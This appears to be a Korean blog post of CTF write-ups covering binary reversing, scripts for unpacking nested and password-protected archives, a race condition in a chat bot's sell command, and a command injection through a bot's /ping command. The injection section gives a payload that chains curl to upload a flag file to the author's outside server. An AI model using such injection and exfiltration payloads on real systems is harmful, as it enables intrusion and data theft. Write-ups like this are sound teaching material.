문제를 먼저 확인하고 x64인걸 확인 후, IDA 64로 까봤습니다.

파일을 확인해보면 다음과 같이 main 속에 있는 check 함수를 발견할 수 있습니다.

check 함수에서 처음에 if 문 안에 아무것도 없나 싶어서 넘어가려 했는데...

나중에서야 e() 함수를 발견하였습니다.


위에 저기 쳐져 있는 것 보이시죠.


옆에 있는 함수들이 보였는데, 여기에서 사용하였던 것이었습니다.

그러면 이제 저 함수로 차례차례 들어가 보면 다음과 같이 쭈욱 나옵니다.


마지막 함수는 a 함수이며, 각 함수에서는 a1이라는 char* 변수에 값을 비교하는 것을 볼 수 있습니다.

저 위에서 변수에 값을 비교하는 것을 보고, 각 순서대로 들어간 값이 무엇인지 알기위해 코드를 작성해보았습니다.


a1 = [0] * 19

a1[4] = 123 
a1[12] = 51 
a1[8] = 121 
a1[13] = 114
a1[3] = 71 
a1[11] = 118 
a1[5] = 51
a1[14] = 53 
a1[16] = 110
a1[10] = 51 
a1[18] = 125 
a1[6] = 97
a1[15] = 105 
a1[9] = 114 
a1[1] = 76
a1[7] = 53 
a1[17] = 103 
a1[2] = 65
#*a1 = 70
a1[0] = 70


string = ""

for a in a1:
    string += chr(a)

print("[+] String : %s" % string)

#[+] String : FLAG{3a5yr3v3r5ing}


file로 확인해보니 Zip파일인 걸 확인하고 압축을 풀어보려 했더니 아래와 같이 암호가 걸려 있었습니다.

혹시나 해서 이것저것 입력해봤지만, 잠깐의 게싱으로는 풀 수 없었습니다.

그러다가 혹시 암호화가 안 돼 있는데, 암호화 됐다고 하는 페이크인가 생각해봤는데

이것도 아니었습니다.


마지막으로 혹시나 해서 파일 이름으로 비밀번호를 입력해봤더니 풀렸습니다.

세상에...

코드 코드.....

import tarfile
import zipfile
import os

def decompress_tar(filename, path):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall(path)


def decompress_zip(filename, password, path):
    print("FileName : ", filename)
    print("Password : ", password)

    with zipfile.ZipFile(filename) as zf:
        compressed_name = zf.namelist()[0]
        zf.extractall(path=path, pwd=password)

    return compressed_name


def file_rename(filename):
    reName = filename + ".zip"
    os.rename(filename, reName)

    return reName

Done = False


FileName        = "RWtm7A5f" # it is also password

while not Done:
    Password        = FileName.encode()

    #FileName        = file_rename(FileName)
    FileName        = decompress_zip(FileName, Password, './')

    print("FileName : %s" % FileName)

decompress_tar(FileName, './flag')


위와 같이 문제 파일을 풀어보면, flag 파일이 하나 튀어나오는데, 그 파일은 TAR로 되어 있어서 TAR로 풀어보았습니다.


그런데....

위와 같은 폴더로 가득한 압축파일인 것을 확인할 수 있었습니다.

여기서 답이 없다고 생각하고 다른 문제를 보고 있었는데, 팀원의 도움으로 풀 수 있었습니다.

125 폴더 이후에는 아무런 파일이 없고, 그 이전의 파일에는 숫자로 이루어진 데이터가 없는 파일들이 있었습니다.

위와 같이 하나씩 나타나 있는데, 저 폴더에 표시된 예시를 들어보면 chr(101) 을 한 값을 9번째에 넣어라, 라는 의미가 될 수 있습니다.

때문에 저기 표시된 폴더의 값을 chr로 바꿔주고 그걸 원하는 번째의 string으로 만들어주면 FLAG가 나타나게 됩니다.


FLAG{m4tr3shk4_a5c11}


무슨 파일인고 보니, TAR이기도 하고, Zip이기도 하고, bzip2, gzip 등... 정말 많습니다.

아무래도 저렇게 해서 txt파일을 매우 압축한 것 같습니다.



위와 같이 손으로 하는 건 문제가 있습니다....

이건 프로그래밍을 해야 할 문제 같았습니다.


문제는 POSIX tar, bzip2, XZ, gzip, Zip 으로 총 다섯 가지 방식으로 압축되어 있습니다.

Python의 모듈이 있는 것들만 있군요...


코드를 작성하여 문제 파일을 쭉 풀어보면 총 723회 압축되어 있었음을 알 수 있었습니다...(숫자를 잘못 세어서 720회 내외일 수 있습니다.)


#!/bin/python3
import bz2
import gzip
import tarfile
import zipfile
import lzma
import magic
import os


def decompress_bz2(filename):
    with open(filename, "rb") as file_rb:
        tmpData = file_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(bz2.decompress(tmpData))


def decompress_gzip(filename):
    with gzip.open(filename, "rb") as gzip_rb:
        tmpData = gzip_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def decompress_zip(filename):
    with zipfile.ZipFile(filename) as zip_decompress:
        zip_decompress.extractall()


def decompress_tar(filename):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall()


def decompress_xz(filename):
    with lzma.open(filename) as xz_decompress:
        tmpData = xz_decompress.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def find_compress_type(filename, cnt):
    ret = magic.from_file(filename)

    if "POSIX tar" in ret:
        return "tar"
    elif "bzip2" in ret:
        return "bz"
    elif "XZ compressed" in ret:
        return "xz"
    elif "gzip" in ret:
        return "gz"
    elif "Zip archive" in ret:
        return "zip"
    else:
        print("[-] ret : ", ret)
        return None
    

def file_rename(filename, compress_type, cnt):
    tmpFileName = "flag_%03d" % cnt

    os.rename(filename, tmpFileName + "." + compress_type)

    return tmpFileName + "." + compress_type


def decompress(filename, compress_type):
    if compress_type == "tar":
        decompress_tar(filename)
    elif compress_type == "bz":
        decompress_bz2(filename)
    elif compress_type == "xz":
        decompress_xz(filename)
    elif compress_type == "gz":
        decompress_gzip(filename)
    elif compress_type == "zip":
        decompress_zip(filename)
    else:
        print("[-] Error ")
        exit()


Done = False
cnt  = 0

while not Done:
    cnt            += 1
    FileName        = "flag.txt"
    compress_type   = find_compress_type(FileName, cnt)
    print("[=] Compress Type : %s" % compress_type)

    if compress_type == None:
        print("[+] None Done !")
        Done        = True
        break

    FileName        = file_rename(FileName, compress_type, cnt)
    print("[=] Rename Name   : %s" % FileName)

    decompress(FileName, compress_type)


압축을 쭉 풀어 txt파일을 보면 플래그가 튀어 나옵니다.


FLAG{matri0sha256}





문제를 풀기 전에 Facebook 짝퉁 사이트가 아닌가 하는 의심이 들었습니다.

그런데 러시아 판 Facebook이라고 해서 일단 정상적인 사이트로 판단하고 문제를 풀기 시작하였습니다.


/buy 4를 하게 되면 Flag를 알 수 있는 구조인 걸 확인하고 어떻게 하면 100보다 많은 balance를 가질 수 있을지 고민하다가, 레이스 컨디션을 시도해보았습니다. 아니나 다를까 /sell이 두 번 되고 balance가 200이 되도록 할 수 있었습니다.


물론 봇에 두 번 명령을 보내기 위해서는 다음과 같이 페이지를 두 개를 켜서 수행했습니다.

(복붙을 하면 명령어를 잘 먹지 않더군요....)



문제를 들어가기 전에 Login 하는 거에 굉장히 조심스러웠습니다.

vk.com이 제대로된 사이트인지 좀 더 검증하고 문제를 풀이하였습니다.

(물론 정상적인 러시아 버전 페이스북인 걸 알고 구글 계정을 연동하였습니다.)



메신저로 들어가 commands를 입력해서 여러 시도를 해보는 도중 /ping 이 있길래, 혹시 커맨드 인젝션이 되는지 테스트해보았습니다.

현재 CTF가 끝나고 명령이 되진 않지만, 위와 같이 했을 때 되는 것을 확인하였습니다.

처음에는 ls를 해보고자 했는데 띄어쓰기가 되는 값을 GET 뒤에 붙여서 전송되지는 않아, README.txt밖에 안 보였습니다.


그래서 find 명령어로 혹시 flag라는 녀석이 있는지 찾아보았습니다.

위와 같이 테스트해본 결과 여러 결과가 나왔는데, curl명령어로 GET으로 보내는 데에는 한계가 있어, POST 명령어로 전송해보았습니다.

flag.jpg위치는 바로 아래였던 것이 행운이었습니다.


/ping - ping 1.1.1.1;curl -X POST -F file=@flag.jpg http://kkamikoon.com:7777 


위의 명령을 받기 위해 아래와 같이 받았습니다.

근데 값을 받아보니 HTTP Header들도 좀 있어서 HxD로 제거해주고 온전한 이미지 파일로 받았습니다.

열어보니 아래와 같이 열려 플래그를 인증할 수 있었습니다.


+ Recent posts